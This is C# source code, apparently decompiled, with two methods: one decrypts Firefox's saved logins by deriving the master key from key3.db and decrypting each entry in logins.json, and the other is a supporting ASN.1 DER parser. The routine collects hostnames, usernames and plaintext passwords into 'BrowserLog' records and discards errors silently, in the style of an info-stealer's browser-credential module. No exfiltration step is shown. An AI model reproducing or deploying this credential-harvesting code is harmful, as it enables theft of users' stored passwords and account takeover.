public List <BrowserLog> GetPasswords() { try { List <BrowserLog> browserLogList = new List <BrowserLog>(); DataTable dataTable = new DataTable(); Asn1Der asn1Der = new Asn1Der(); BerkeleyDB berkeleyDb = new BerkeleyDB(this.Key3Db); PasswordCheck passwordCheck = new PasswordCheck(berkeleyDb.Keys.Where <KeyValuePair <string, string> >((Func <KeyValuePair <string, string>, bool>)(p => p.Key.Equals("password-check"))).Select <KeyValuePair <string, string>, string>((Func <KeyValuePair <string, string>, string>)(p => p.Value)).FirstOrDefault <string>().Replace("-", string.Empty)); string hexString1 = berkeleyDb.Keys.Where <KeyValuePair <string, string> >((Func <KeyValuePair <string, string>, bool>)(p => p.Key.Equals("global-salt"))).Select <KeyValuePair <string, string>, string>((Func <KeyValuePair <string, string>, string>)(p => p.Value)).FirstOrDefault <string>().Replace("-", string.Empty); MozillaPBE mozillaPbe1 = new MozillaPBE(ByteHelper.ConvertHexStringToByteArray(hexString1), Encoding.ASCII.GetBytes(string.Empty), ByteHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt)); mozillaPbe1.Compute(); TripleDESHelper.DESCBCDecryptor(mozillaPbe1.Key, mozillaPbe1.IV, ByteHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck)); string hexString2 = berkeleyDb.Keys.Where <KeyValuePair <string, string> >((Func <KeyValuePair <string, string>, bool>)(p => { if (!p.Key.Equals("global-salt") && !p.Key.Equals("Version")) { return(!p.Key.Equals("password-check")); } return(false); })).Select <KeyValuePair <string, string>, string>((Func <KeyValuePair <string, string>, string>)(p => p.Value)).FirstOrDefault <string>().Replace("-", ""); Asn1DerObject asn1DerObject1 = asn1Der.Parse(ByteHelper.ConvertHexStringToByteArray(hexString2)); MozillaPBE mozillaPbe2 = new MozillaPBE(ByteHelper.ConvertHexStringToByteArray(hexString1), Encoding.ASCII.GetBytes(string.Empty), asn1DerObject1.objects[0].objects[0].objects[1].objects[0].Data); mozillaPbe2.Compute(); byte[] dataToParse = TripleDESHelper.DESCBCDecryptorByte(mozillaPbe2.Key, mozillaPbe2.IV, asn1DerObject1.objects[0].objects[1].Data); Asn1DerObject asn1DerObject2 = asn1Der.Parse(dataToParse); Asn1DerObject asn1DerObject3 = asn1Der.Parse(asn1DerObject2.objects[0].objects[2].Data); byte[] key = new byte[24]; if (asn1DerObject3.objects[0].objects[3].Data.Length > 24) { Array.Copy((Array)asn1DerObject3.objects[0].objects[3].Data, asn1DerObject3.objects[0].objects[3].Data.Length - 24, (Array)key, 0, 24); } else { key = asn1DerObject3.objects[0].objects[3].Data; } foreach (Login login in File.ReadAllText(this.LoginJson).ParseJSON <RootObject>().logins) { Asn1DerObject asn1DerObject4 = asn1Der.Parse(Convert.FromBase64String(login.encryptedUsername)); Asn1DerObject asn1DerObject5 = asn1Der.Parse(Convert.FromBase64String(login.encryptedPassword)); string str1 = Regex.Replace(TripleDESHelper.DESCBCDecryptor(key, asn1DerObject4.objects[0].objects[1].objects[1].Data, asn1DerObject4.objects[0].objects[2].Data), "[^\\u0020-\\u007F]", string.Empty); string str2 = Regex.Replace(TripleDESHelper.DESCBCDecryptor(key, asn1DerObject5.objects[0].objects[1].objects[1].Data, asn1DerObject5.objects[0].objects[2].Data), "[^\\u0020-\\u007F]", string.Empty); BrowserLog browserLog = new BrowserLog() { Host = string.IsNullOrWhiteSpace(login.hostname) ? "UNKOWN" : login.hostname, Login = string.IsNullOrWhiteSpace(str1) ? "UNKOWN" : str1, Password = string.IsNullOrWhiteSpace(str2) ? "UNKOWN" : str2 }; if (browserLog.Login != "UNKOWN" && browserLog.Password != "UNKOWN" && browserLog.Host != "UNKOWN") { browserLogList.Add(browserLog); } } return(browserLogList); } catch { return(new List <BrowserLog>()); } }
public Asn1DerObject Parse(byte[] dataToParse) { Asn1DerObject asn1DerObject1 = new Asn1DerObject(); for (int index = 0; index < dataToParse.Length; ++index) { int num1 = 0; switch ((Asn1Der.Type)dataToParse[index]) { case Asn1Der.Type.Integer: List <Asn1DerObject> objects1 = asn1DerObject1.objects; Asn1DerObject asn1DerObject2 = new Asn1DerObject(); asn1DerObject2.Type = Asn1Der.Type.Integer; int num2 = (int)dataToParse[index + 1]; asn1DerObject2.Lenght = num2; objects1.Add(asn1DerObject2); byte[] numArray1 = new byte[(int)dataToParse[index + 1]]; int length1 = index + 2 + (int)dataToParse[index + 1] > dataToParse.Length ? dataToParse.Length - (index + 2) : (int)dataToParse[index + 1]; Array.Copy((Array)((IEnumerable <byte>)dataToParse).ToArray <byte>(), index + 2, (Array)numArray1, 0, length1); asn1DerObject1.objects.Last <Asn1DerObject>().Data = numArray1; index = index + 1 + asn1DerObject1.objects.Last <Asn1DerObject>().Lenght; break; case Asn1Der.Type.OctetString: List <Asn1DerObject> objects2 = asn1DerObject1.objects; Asn1DerObject asn1DerObject3 = new Asn1DerObject(); asn1DerObject3.Type = Asn1Der.Type.OctetString; int num3 = (int)dataToParse[index + 1]; asn1DerObject3.Lenght = num3; objects2.Add(asn1DerObject3); byte[] numArray2 = new byte[(int)dataToParse[index + 1]]; int length2 = index + 2 + (int)dataToParse[index + 1] > dataToParse.Length ? dataToParse.Length - (index + 2) : (int)dataToParse[index + 1]; Array.Copy((Array)((IEnumerable <byte>)dataToParse).ToArray <byte>(), index + 2, (Array)numArray2, 0, length2); asn1DerObject1.objects.Last <Asn1DerObject>().Data = numArray2; index = index + 1 + asn1DerObject1.objects.Last <Asn1DerObject>().Lenght; break; case Asn1Der.Type.ObjectIdentifier: List <Asn1DerObject> objects3 = asn1DerObject1.objects; Asn1DerObject asn1DerObject4 = new Asn1DerObject(); asn1DerObject4.Type = Asn1Der.Type.ObjectIdentifier; int num4 = (int)dataToParse[index + 1]; asn1DerObject4.Lenght = num4; objects3.Add(asn1DerObject4); byte[] numArray3 = new byte[(int)dataToParse[index + 1]]; int length3 = index + 2 + (int)dataToParse[index + 1] > dataToParse.Length ? dataToParse.Length - (index + 2) : (int)dataToParse[index + 1]; Array.Copy((Array)((IEnumerable <byte>)dataToParse).ToArray <byte>(), index + 2, (Array)numArray3, 0, length3); asn1DerObject1.objects.Last <Asn1DerObject>().Data = numArray3; index = index + 1 + asn1DerObject1.objects.Last <Asn1DerObject>().Lenght; break; case Asn1Der.Type.Sequence: byte[] dataToParse1; if (asn1DerObject1.Lenght == 0) { asn1DerObject1.Type = Asn1Der.Type.Sequence; asn1DerObject1.Lenght = dataToParse.Length - (index + 2); dataToParse1 = new byte[asn1DerObject1.Lenght]; } else { List <Asn1DerObject> objects4 = asn1DerObject1.objects; Asn1DerObject asn1DerObject5 = new Asn1DerObject(); asn1DerObject5.Type = Asn1Der.Type.Sequence; int num5 = (int)dataToParse[index + 1]; asn1DerObject5.Lenght = num5; objects4.Add(asn1DerObject5); dataToParse1 = new byte[(int)dataToParse[index + 1]]; } num1 = dataToParse1.Length > dataToParse.Length - (index + 2) ? dataToParse.Length - (index + 2) : dataToParse1.Length; Array.Copy((Array)dataToParse, index + 2, (Array)dataToParse1, 0, dataToParse1.Length); asn1DerObject1.objects.Add(this.Parse(dataToParse1)); index = index + 1 + (int)dataToParse[index + 1]; break; } } return(asn1DerObject1); }